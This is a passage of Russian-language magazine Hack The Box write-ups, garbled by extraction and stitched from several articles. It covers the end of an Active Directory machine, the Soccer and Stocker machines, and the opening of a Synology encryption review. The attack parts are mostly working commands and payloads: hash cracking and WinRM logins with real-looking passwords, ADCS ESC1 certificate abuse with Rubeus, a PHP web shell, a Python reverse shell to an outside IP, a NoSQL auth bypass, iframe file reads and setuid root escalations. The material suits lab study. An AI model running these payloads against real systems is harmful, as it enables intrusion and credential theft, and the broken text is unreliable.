По луча ем NetNTLMv2-хеш пароля поль зовате ля . Этот тип хеша

переби рает ся очень быс тро. Бру тить будем при помощи hashcat, ука зав
режим перебо ра 5600.

sql_svc

hashcat -m 5600 -a 0 hashes.txt rockyou.txt 

Ре зуль тат перебо ра пароля

По лучен ный пароль про веря ем с помощью CrackMapExec. Про буем авто- 
ризо вать ся для исполь зования служ бы WinRM.

   cme winrm 10.10.11.202 -u 'sql_svc' -p 'REGGIE1234ronnie'

Про вер ка учет ных дан ных

А теперь под клю чаем ся к служ бе WinRM с помощью ути литы .evil-winrm

evil-winrm -i 10.10.11.202 -u sql_svc -p REGGIE1234ronnie 

Сес сия поль зовате ля sql_svc

ÏÐÎÄÂÈÆÅÍÈÅ
Те перь нам необ ходимо соб рать информа цию. Обыч но я исполь зую для это- 
го скрип ты PEASS, и если в Linux аль тер натив им не сущес тву ет, то
для Windows есть еще  и . Вто рой помог най ти сер вер
служ бы сер тифика ции Active Directory (ADCS) — .

SharpUp Seatbelt

sequal-DC-CA

.\Seatbelt.exe -group=system

Ин форма ция о сер тифика тах

Так же на дис ке  находим каталог , а в нем — логи служ бы.C: SQLServer

Со дер жимое катало га SQLServer

В самом логе есть сооб щения об ошиб ке авто риза ции поль зовате ля 

, а так же поль зовате ля . Вто рое имя поль зовате ля

похоже на вве ден ный по ошиб ке пароль. Рас простра нен ная ошиб ка, которой
мы смо жем вос поль зовать ся.

Ryan.
Cooper NuclearMosquito3

Со дер жимое фай ла ERRORLOG.BAK

Про верим, вхо дит ли най ден ный поль зователь в груп пу 
. Членс тво в ней дает поль зовате лям пра во авто риза ции на служ бе

WinRM.

Remote Management 
Users

net localgroup "Remote Management Users"

Чле ны груп пы Remote Management Users

Так мы можем залоги нить ся на WinRM, что дает нам инте рак тивную сес сию
поль зовате ля.

   evil-winrm -i 10.10.11.202 -u 'Ryan.Cooper' -p 'NuclearMosquito3'

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Те перь вер немся к служ бе сер тифика ции Active Directory, которая час то
может помочь зах ватить целый домен. В основном спо собы экс плу ата ции
ADCS завяза ны на неп равиль но скон фигури рован ные шаб лоны сер тифика- 
тов, а так же на пра ва дос тупа к этим шаб лонам и самой служ бе.

По лучить информа цию о служ бе сер тифика ции поз воля ет прог рамма
. Запус каем ее с коман дой .Certify find

.\Certify.exe find /vulnerable

Ин форма ция о служ бе ADCS и уяз вимый шаб лон сер тифика та

Certify наш ла «уяз вимый шаб лон сер тифика та» и ока залась пра ва. Каж дая
тех ника име ет свою мар киров ку, и в дан ном слу чае мы можем исполь зовать
тех нику . Это му спо собс тву ет выпол нение сле дующих тре бова ний:ESC1
1. У шаб лона сер тифика та в свой стве 

уста нов лен флаг , в резуль тате чего зап- 
рашива ющий может сам уста новить атри бут SAN ( ).

msPKI-Certificate-Name-Flag

ENROLLEE_SUPPLIES_SUBJECT

subjectAltName

2. Сер тификат мож но исполь зовать для аутен тифика ции кли ента (
).

client 

authentication

3. Те кущий поль зователь име ет пра ва для регис тра ции сер тифика та
без утвер жде ния менед жера ADCS.

Та ким обра зом, эта тех ника осно вана на воз можнос ти изме нения SAN сер- 
тифика та и поз воля ет выпус тить сер тификат для любого поль зовате ля
домена, вклю чая адми нис тра тора домена! Это тоже мож но сде лать
с помощью .Certify

.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:
UserAuthentication /altname:Administrator

Вы пуск сер тифика та для поль зовате ля Administrator

И мы получа ем сер тификат и при ват ный ключ, который мож но исполь зовать
для аутен тифика ции поль зовате ля в домене. Но сна чала нуж но перевес ти
сер тификат из фор мата PEM в фор мат PFX.

  
  

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced 
Cryptographic Provider v1.0" -export -out cert.pfx 

А теперь с помощью еще одно го незаме нимо го инс тру мен та —  —

про ведем ата ку pass the cert для аутен тифика ции в домене и получе ния
тикета поль зовате ля . Затем выпол ним ата ку UnPAC the hash,

что бы получить тикет поль зовате ля и NTLM-хеш его пароля. Rubeus поз воля- 
ет сде лать все это одной коман дой.

Rubeus

Administrator

.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /
password:123 /getcredentials 

Вы пол нение атак pass the cert и UnPAC the hash

А теперь с помощью pass the hash под клю чаем ся к служ бе WinRM и забира ем
флаг рута.

evil-winrm -i 10.10.11.202 -u 'Administrator' -H 
'A52F78E4C751E5F5E17E1E9F3E58F4EE'

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://github.com/Porchetta-Industries/CrackMapExec
https://github.com/fortra/impacket/blob/master/examples/smbclient.py
https://github.com/fortra/impacket/blob/master/examples/mssqlclient.py
https://github.com/Hackplayers/evil-winrm
https://github.com/GhostPack/SharpUp
https://github.com/GhostPack/Seatbelt
https://github.com/GhostPack/Certify
https://github.com/GhostPack/Rubeus
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SOCCER

ПОВЫШАЕМ ПРИВИЛЕГИИ 
В LINUX ЧЕРЕЗ СВОЙ ПЛАГИН ДЛЯ

DOAS

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу, как написать вре- 
донос ный пла гин для doas — замены sudo,
которая счи тает ся более безопас ной.
Но преж де, чем будем зах ватывать сис- 
тему, мы про ник нем в нее бла года ря RCE
в Tiny File Manager, а затем напишем свой
пла гин для sqlmap, что бы повысить при- 
виле гии.

По лиго ном для всех этих упражне ний нам пос лужит тре ниро воч ная машина
Soccer с пло щад ки . Уро вень ее слож ности отме чен как лег кий.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.194    soccer.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер обна ружил три откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
80 — веб-сер вер Nginx 1.18.0;•
9091 — неиз вес тный веб-сер вер.•

Порт 9091 пока загадо чен для нас, SSH, как всег да, оставля ем до момен та,
ког да мы зав ладе ем учет ной записью, поэто му оста ется толь ко изу чать сайт,
рас положен ный на пор те 80.

Глав ная стра ница сай та soccer.htb

Нас встре чает сайт-визит ка. Пос коль ку никаких инте рес ных фун кций у него
нет, перей дем к активно му ска ниро ванию и попыта емся выявить скры тые
фай лы и катало ги.

ÒÎ×ÊÀ ÂÕÎÄÀ
Пер вым делом ска ниру ем скры тые катало ги на веб-сер вере с помощью

.feroxbuster

Справка: сканирование веба c feroxbuster
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де ,  или . Я пред почитаю

.
dirsearch DIRB ffuf

feroxbuster
При запус ке ука зыва ем сле дующие парамет ры:

 — URL;• -u

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — глу бина ска ниро вания.• -d

 256 
feroxbuster -u http://soccer.htb/ -w directory_2.3_medium_lowercase.
txt -t

Ре зуль тат ска ниро вания катало гов

На стра нице  нас встре чает стра ница авто риза ции ./tiny Tiny File Manager

Стра ница авто риза ции Tiny File Manager

На вики-стра нице  находим учет ные дан ные,
выс тавля емые по умол чанию:

Security and User Management

admin : admin@123 
user : 12345 

Учет ные дан ные по умол чанию для Tiny File Manager

По вез ло! Авто ризу емся с учет ной записью  и получа ем дос туп к фай- 
ловому менед жеру.

admin

Глав ная стра ница фай лового менед жера

Мы раз добыли какие-то фай лы, но нам нуж ны не они, а дос туп к сис теме.
Поп робу ем поис кать готовые экс пло иты для Tiny File Manager, бла го вер сия
ука зана — 2.4.3.

Пер вая же ссыл ка в Google сооб щает нам о том, что есть RCE через заг- 
рузку фай ла.

По иск экс пло итов в Google

ÒÎ×ÊÀ ÎÏÎÐÛ
Ска ниро вание катало гов показа ло, что сущес тву ет каталог . Заг- 
рузим туда самый прос той веб-шелл.

uploads

 <?php system($_GET['cmd'])?>

Заг рузка фай ла

Лис тинг дирек тории /uploads

Файл заг ружен, поэто му можем про верить его работу, выпол нив коман ду .id

curl 'http://soccer.htb/tiny/uploads/shell.php?cmd=id'

Ре зуль тат выпол нения коман ды id

Те перь запус тим реверс-шелл на Python 3.

 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.
AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.78",4321));os.dup2(
s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import 
pty;pty.spawn("sh")'

Справка: реверс-шелл
Об ратный шелл — это под клю чение, которое акти виру ет ата куемая машина,
а мы при нима ем и таким обра зом под клю чаем ся к ней, что бы выпол нять
коман ды от лица поль зовате ля, запус тивше го шелл. Для при ема соеди нения
необ ходимо соз дать на локаль ной машине listener, то есть «слу шатель».

Его под клю чение будем ловить на лис тенер:

pwncat-cs -lp 4321 

По луче ние новой сес сии

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/epi052/feroxbuster
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/epi052/feroxbuster
https://github.com/danielmiessler/SecLists
https://tinyfilemanager.github.io/
https://github.com/prasathmani/tinyfilemanager/wiki/Security-and-User-Management


HTB SOCCER
ПОВЫШАЕМ ПРИВИЛЕГИИ 

В LINUX ЧЕРЕЗ СВОЙ ПЛАГИН ДЛЯ DOAS

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ
Те перь нам необ ходимо соб рать информа цию. Для это го вос поль зуем ся

.PEASS

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. В выводе будет мно го информа ции, поэто му отбе рем толь ко
зна чимую.

Из фай ла  узна ем о еще одном под домене — 

.

/etc/hosts soc-player.
soccer.htb

Ин форма ция о сети

Сре ди откры тых пор тов отме чаем порт 3306, на котором работа ет служ ба
mysql.

От кры тые пор ты

Флаг находит ся у поль зовате ля , поэто му прод вигать ся нам нуж но

к нему.

player

Фай лы в катало гах дру гих поль зовате лей

Сре ди «нерод ных» фай лов сис темы при сутс тву ет .doas

Фай лы, веро ятно добав ленные поль зовате лем

До бав ляем новый най ден ный под домен в файл  сво его хос та

и смот рим новый сайт.

/etc/hosts

10.10.11.194 soccer.htb soc-player.soccer.htb 

Глав ная стра ница сай та soc-player.soccer.htb

Пос ле регис тра ции и авто риза ции нам откры вает ся фун кция бро ниро вания
билета на матч.

Фор ма бро ниро вания билета

От меча ем уже прис воен ный ID билета (над полем вво да). Пос ле вво да это го
ID получа ем ответ, что билет сущес тву ет. В  зап роса
не находим, но зато появ ляют ся сооб щения в исто рии веб-сокетов, где мы
и обна ружи ваем наш зап рос и ответ.

Burp History

Зап рос билета

Зап рос на сер вер

От вет сер вера

Так как на хос те работа ет СУБД, про веря ем нес коль кими наг рузка ми
для SQL-инъ екций параметр , и одна из наг рузок дает резуль тат.id

{
   "id":"-1 or 1=1 -- -"
}

Зап рос с наг рузкой

SQL injection
Что бы авто мати зиро вать и уско рить эксфиль тра цию дан ных из базы, мож но
исполь зовать . Для это го нуж но будет написать прок си-сер вер,
который будет при нимать зап росы HTTP и отправ лять их на уда лен ный сер вер
через веб-сокет. Откро ем исходный код сай та и най дем URL, куда пос тупа ют
зап росы через веб-сокеты.

sqlmap

Ис ходный код стра ницы /check

Те перь реали зуем наш прок си-сер вер.

   from http.server import SimpleHTTPRequestHandler
   from socketserver import TCPServer
    from urllib.parse import unquote, urlparse
   from websocket import create_connection

  ws_server = "ws://soc-player.soccer.htb:9091"

 def send_ws(payload):
     ws = create_connection(ws_server)
     message = unquote(payload).replace('"',''')
   data = '{"id":"%s"}' % message

   ws.send(data)
   resp = ws.recv()
   ws.close()

   if resp:
       return resp
   else:
       return ''

def middleware_server(host_port,content_type="text/plain"):

   class CustomHandler(SimpleHTTPRequestHandler):
       def do_GET(self) -> None:
           self.send_response(200)
           try:
               payload = urlparse(self.path).query.split('=',1)[1]
           except IndexError:
               payload = False

           if payload:
               content = send_ws(payload)
           else:
               content = 'No parameters specified!'

           self.send_header("Content-type", content_type)
           self.end_headers()
           self.wfile.write(content.encode())
           return

   class _TCPServer(TCPServer):
       allow_reuse_address = True

   httpd = _TCPServer(host_port, CustomHandler)
   httpd.serve_forever()

print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
   middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
   pass

За пуск прок си-сер вера

Те перь запус каем sqlmap, ука зав адрес прок си-сер вера:

http://localhost:8081/?id= 

И выбира ем рабочую тех нику Boolean Based.

   B  5 
 3 

sqlmap -u 'http://localhost:8081/?id=54172' --technique --level
--risk

Оп ределе ние наг рузки sqlmap

Sqlmap опре делил рабочую наг рузку, теперь мы можем получить спи сок баз
дан ных (параметр ).--dbs

   B  5 
 3 

sqlmap -u 'http://localhost:8081/?id=54172' --technique --level
--risk --dbs

Су щес тву ющие базы дан ных

Нам инте рес на база дан ных , узна ем, какие таб лицы она содер жит

(параметр ).

soccer_db
--tables

   B  5 
 3 

sqlmap -u 'http://localhost:8081/?id=54172' --technique --level
--risk -D soccer_db --tables

В базе все го одна таб лица с говоря щим наз вани ем , получим из нее

все дан ные (параметр ).

accounts
--dump

Таб лицы в базе soccer_db

   B  5 
 3 

sqlmap -u 'http://localhost:8081/?id=54172' --technique --level
--risk -D soccer_db -T accounts --dump

Дан ные таб лицы accounts

По лучен ный пароль мож но исполь зовать для авто риза ции по SSH.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Ра нее мы наш ли doas, взгля нем на его нас трой ки:

cat /usr/local/etc/doas.conf 

Со дер жимое фай ла doas.conf

Эта строч ка зна чит, что поль зователь  без вво да пароля может от име- 

ни поль зовате ля  запус тить коман ду . Про dstat под- 

робно почитать мож но в . Там же находим и информа цию о пла- 
гинах dstat, которые стар туют при запус ке самого dstat.

player
root /usr/bin/dstat

до кумен тации

Пла гин дол жен пред став лять собой скрипт на Python , рас- 

положен ный в одном из сле дующих катало гов.

dstat_*.py

Ка тало ги для пла гинов dstat

По оче ред но про веря ем эти катало ги и находим, что у груп пы , где мы

и сос тоим, есть пра во записи в один из них:

player

/usr/local/share/dstat 

Со дер жимое катало га /usr/local/share/

В най ден ном катало ге соз дадим пла гин , который прос то
запус тит коман дную обо лоч ку .

dstat_ralf.py
/bin/bash

 import os
os.system('/bin/bash')

Те перь прос мотрим спи сок пла гинов и най дем свой.

dstat --list

Спи сок пла гинов dstat

А теперь запус каем свой пла гин от име ни поль зовате ля , что дает нам

при виле гиро ван ную коман дную обо лоч ку.

root

doas -u root /usr/bin/dstat --ralf

Флаг рута

Мы получи ли флаг рута, а зна чит, машина зах вачена!

https://github.com/carlospolop/PEASS-ng
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/sqlmapproject/sqlmap
https://linux.die.net/man/1/dstat


HTB

STOCKER

ИСПОЛЬЗУЕМ ГЕНЕРАТОР PDF
ДЛЯ ПРОИЗВОЛЬНОГО ЧТЕНИЯ

ФАЙЛОВ

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу типич ный сце- 
нарий зах вата веб-сер вера. Сна чала про- 
ведем базовое ска ниро вание сай та
на пред мет скры тых катало гов, затем про- 
ведем NoSQL-инъ екцию, что бы обой ти
авто риза цию, и HTML-инъ екцию, что бы
про читать про изволь ные фай лы.
При повыше нии при виле гий исполь зуем
обход катало гов Bash для чте ния поль- 
зователь ско го скрип та.

Зах ватывать будем тре ниро воч ную машину Stocker с пло щад ки .
Уро вень ее слож ности — лег кий.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.196    stocker.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел все го два откры тых пор та: 22 — служ ба OpenSSH 8.2p1 и 80 —
веб-сер вер Nginx 1.18.0. С SSH сей час ничего сде лать не можем, поэто му
про ходим к веб-сер веру.

Глав ная стра ница сай та stocker.htb

ÒÎ×ÊÀ ÂÕÎÄÀ
На сай те ничего инте рес ного най ти не уда лось, поэто му прис тупим к поис ку
скры тых фай лов и катало гов, на которые не ведут ссыл ки. Я для это го исполь- 
зую .feroxbuster

Справка: сканирование веба c feroxbuster
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де ,  или . Я пред почитаю

.
dirsearch DIRB ffuf

feroxbuster
При запус ке ука зыва ем сле дующие парамет ры:

 — URL;• -u

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — глу бина ска ниро вания.• -d

На бира ем такую коман ду:

 2  256 
feroxbuster -u http://stocker.htb/ -w directory_2.3_medium_lowercase.
txt -d -t

Ре зуль тат ска ниро вания катало гов с помощью feroxbuster

Ни чего най ти не уда лось, поэто му ска ниру ем под домены. Их я иссле дую
с помощью , переби рая заголо вок  (осталь ные клю чи те же, что
у ferox).

ffuf Host

ffuf  
256  

-u http://stocker.htb/ -w subdomains-top1million-110000.txt -t
-H 'Host: FUZZ.stocker.htb'

Ре зуль тат ска ниро вания под доменов

В выводе получа ем все сло ва из спис ка, поэто му сто ит исполь зовать филь тр
(параметр ), отсе кающий ненуж ные отве ты по раз меру стра ницы.-fs

ffuf  
256    178 

-u http://stocker.htb/ -w subdomains-top1million-110000.txt -t
-H 'Host: FUZZ.stocker.htb' -fs

Ре зуль тат ска ниро вания под доменов

И находим все го один новый под домен — . Добав ляем его в файл 

.

dev /etc/
hosts

10.10.11.196 stocker.htb dev.stocker.htb 

Стра ница авто риза ции dev.stocker.htb

ÒÎ×ÊÀ ÎÏÎÐÛ
Воз можнос ти авто ризо вать ся на сай те нет, поэто му будем искать обходные
пути.

Зап рос на авто риза цию

Я сра зу про тес тировал раз ные вари анты обхо да авто риза ции для раз ных тех- 
нологий и уяз вимос тей с помощью . Ничего най ти не уда лось,
поэто му я перешел к тем вари антам, которые в брут форсер не заложе ны. Так
доходим до одной из JSON-наг рузок для экс плу ата ции NoSQL-инъ екции.

Burp Intruder

{
   "username": {
       "$ne": null
   },
   "password": {
       "$ne": null
   }
}

Зап рос на авто риза цию

И нам ста новит ся дос тупен какой-то онлай новый магазин.

Глав ная стра ница сай та

Пе рей дем к спис ку товаров и добавим любой из них в кор зину. Затем перехо- 
дим к кор зине и прос матри ваем ее содер жимое.

То вары на сай те

Кор зина онлайн-магази на

Про буем под твер дить покуп ку, пос ле чего нам дают ссыл ку на чек.

Под твержде ние покуп ки

При перехо де по ссыл ке получа ем отдель ный PDF-документ с информа цией
о товаре.

Чек с информа цией о покуп ке

Мы прош ли пол ный путь от авто риза ции до получе ния чека, теперь перей дем
к исто рии зап росов в  и под робнее пос мотрим, что при этом

про исхо дило.

Burp History

Ïðîèçâîëüíîå ÷òåíèå ôàéëîâ
В зап росе на генери рова ние фай ла видим отправ ляемые парамет ры.

Зап рос на /api/order в Burp History

Мож но было бы вмес то пути к кар тинке в парамет ре  отпра вить путь

к про изволь ному фай лу, но кар тинка в отче те не отоб ража ется. Единс твен ный
параметр, который находит отра жение в отче те, — это поле , наиме- 

нова ние товара. Генера торы PDF час то поз воля ют про водить инъ екцию тега
, в котором мы можем отоб разить локаль ный файл. Для при мера поп- 

робу ем вста вить в PDF файл .
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/etc/passwd
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Зап рос на генери рова ние отче та

В отве те видим иден тифика тор отче та, который встав ляем в ссыл ку такого
вида:

http://dev.stocker.htb/api/po/63fb37ad3724ba9a5070fffa 

Но вый отчет с вклю чен ным фрей мом

И вмес то наиме нова ния товара получа ем встав ленный фрейм с зап рошен- 
ным фай лом. В  видим активно го поль зовате ля  с дей- 

ству ющей коман дной обо лоч кой . Так как мы можем читать фай лы,

пос мотрим исходные коды сай та.

etc/passwd angoose
/bin/bash

По наз ванию под домена  пред полага ем, что сайт рас положен в соот- 
ветс тву ющем катало ге . По наз ванию парамет ра куки

 мож но пред положить, что исполь зует ся Node.js, поэто му будем

зап рашивать файл .

dev
/var/www/dev/

connect.sid
/var/www/dev/index.js

   <iframe src=file:///var/www/dev/index.js height=800px width=800px></
iframe>

Но вый отчет с вклю чен ным фрей мом

В исходном коде  отме чаем исполь зование СУБД MongoDB, а так же

учет ные дан ные для под клю чения к базе.

index.js

1 
mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?
authSource=admin&w=

Про буем при менить най ден ный пароль для авто риза ции по SSH от име ни
поль зовате ля  и получа ем сес сию на машине.angoose

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Те перь нам необ ходимо соб рать информа цию. Я для это го обыч но исполь- 
зую скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. В выводе будет мно го информа ции, но ничего важ ного най ти
не уда лось, кро ме сооб щения о зап росе пароля для прос мотра нас тро ек
sudoers.

Ошиб ка при зап росе нас тро ек sudoers

Справка: sudoers
Файл  в Linux содер жит спис ки команд, которые раз ные груп пы

поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Вы пол ним коман ду  и вве дем извес тный пароль.sudo -l

Нас трой ки sudoers

Мы можем выпол нить от име ни поль зовате ля root такую коман ду:

.js /usr/bin/node /usr/local/scripts/*

В дан ном слу чае выпол нить про изволь ный код Node.js очень лег ко, так как в
зна чении сим вола «звез дочка» мож но переда вать и пос ледова тель ность

 для обхо да катало га. Исполь зуем это, что бы соз дать файл

, который прис воит бит SUID фай лу коман дной обо лоч ки 

.

../../../
rshell.js /bin/
bash

require('child_process').exec('chmod u+s /bin/bash')

Те перь выпол ним скрипт сле дующей коман дой, пос ле чего про верим пра ва
фай ла :/bin/bash

sudo /usr/bin/node /usr/local/scripts/../../../../home/angoose/
rshell.js 

Ре зуль тат выпол нения коман ды

Справка: бит SUID
Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

Флаг рута

Флаг рута у нас, а зна чит, машина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/epi052/feroxbuster
https://github.com/danielmiessler/SecLists
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
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ПРИВАТНОСТЬ

В новой вер сии опе раци онной сис темы
DSM 7.2 для сетевых хра нилищ Synology
появи лась дол гождан ная воз можность
шиф рования томов. Нас коль ко она удоб на,
надеж на и отве чает тре бова ниям безопас- 
ности? Давай раз бирать ся!

В недав но вышед шем обновле нии DSM 7.2 раз работ чики Synology добави ли
зашиф рован ные тома в допол нение к сущес тву юще му методу шиф рования
сетевых папок. Новый для Synology спо соб шиф рования более уни вер сален
и работа ет быс трее исполь зовав шегося ранее, но не обош лось и без лож ки
дег тя, которая дела ет такой спо соб защиты дан ных прак тичес ки бес полез- 
ным.

Нес коль ко лет назад я писал об осо бен ностях защиты дан ных в сетевых
хра нили щах раз ных про изво дите лей. В NAS от Synology при меня лось шиф- 
рование сетевых папок с исполь зовани ем стан дар тной для Linux крип тогра- 
фичес кой фай ловой сис темы eCryptFS. Кро ме того, что с таким под ходом
свя зано мно жес тво огра ниче ний и неудобств, управле ние клю чами шиф- 
рования было реали зова но пря моли ней но и небезо пас но. Если поль зователь
вклю чал авто мати чес кое мон тирова ние сетевых папок, то клю чи шиф рования,
сох ранен ные на самом устрой стве либо на внеш нем USB-накопи теле,
защища лись фик сирован ным извес тным паролем, что делало защиту неэф- 
фектив ной.

В новой вер сии опе раци онной сис темы Synology DSM 7.2 появи лось дол- 
гождан ное шиф рование на уров не тома. По утвер жде ниям раз работ чиков,
новый спо соб защиты дан ных работа ет быс трее механиз ма шиф рования
сетевых папок и при этом изба вил ся от при сущих пофай ловому шиф рованию
огра ниче ний. В то же вре мя механизм управле ния клю чами сно ва реали зован
так, что на боль шинс тве устрой ств реаль ная защищен ность дан ных ока зыва- 
ется далека от жела емой.

Развитие событий
По ка мы готови ли статью к пуб ликации, про изо шел ряд инте рес ных вещей.

В течение вось ми часов пос ле выхода DSM 7.2 защиту, обес печива емую
шиф ровани ем тома с обя затель ным хра нени ем клю чей на том же дис ке, уда- 
лось обой ти. Для это го дос таточ но смон тировать в Linux сис темный раз дел
DSM (он хра нит ся в незашиф рован ном и непод писан ном виде в зер каль ном
RAID на всех уста нов ленных в NAS дис ках) и отре дак тировать нес коль ко тек- 
сто вых фай лов. Под робнос ти — в .тре де на Reddit

В скоб ках заметим, что и внеш ний KMIP-сер вер от этой ата ки не спа сет,
если в про цес се заг рузки NAS этот сер вер ока жет ся дос тупен, а авто мати- 
чес кое мон тирова ние тома — вклю чено.

Меж ду написа нием и пуб ликаци ей этой статьи раз работ чики Synology
успе ли выпус тить два обновле ния DSM 7.2, в пос леднем из которых проб лема
со сто рон ними KMIP-сер верами была исправ лена. Под робно о работе KMIP
в Synology рас ска зано в , а ска чать работос пособ ный
опен сор сный KMIP-сер вер мож но из .

пуб ликации на Reddit
ре пози тория на GitHub

ØÈÔÐÎÂÀÍÈÅ Â SYNOLOGY: ÊÀÊ ÁÛËÎ

Ес ли ты хочешь в деталях озна комить ся с методом шиф рования сетевых
папок, механиз мом управле ния клю чами в Synology DSM и узнать о выяв- 
ленной в нем уяз вимос ти, пореко мен дую статью «

». Добав лю толь ко, что с тех
пор никаких изме нений в механиз ме хра нения клю чей не про изош ло и поль- 
зовате ли, которые вклю чили авто мати чес кую раз бло киров ку сетевых папок,
до сих пор под верга ют зашиф рован ные дан ные рис ку. Здесь же я хочу крат ко
опи сать основные дос тоинс тва и недос татки eCryptFS — крип тогра фичес кой
фай ловой сис темы, которую выб рали раз работ чики Synology DSM
для защиты сетевых папок.

Ды рявые дис ки. Экс плу ати- 
руем уяз вимос ти в сетевых хра нили щах Synology

Вот спи сок дос тоинств шиф рования на уров не сетевых папок:
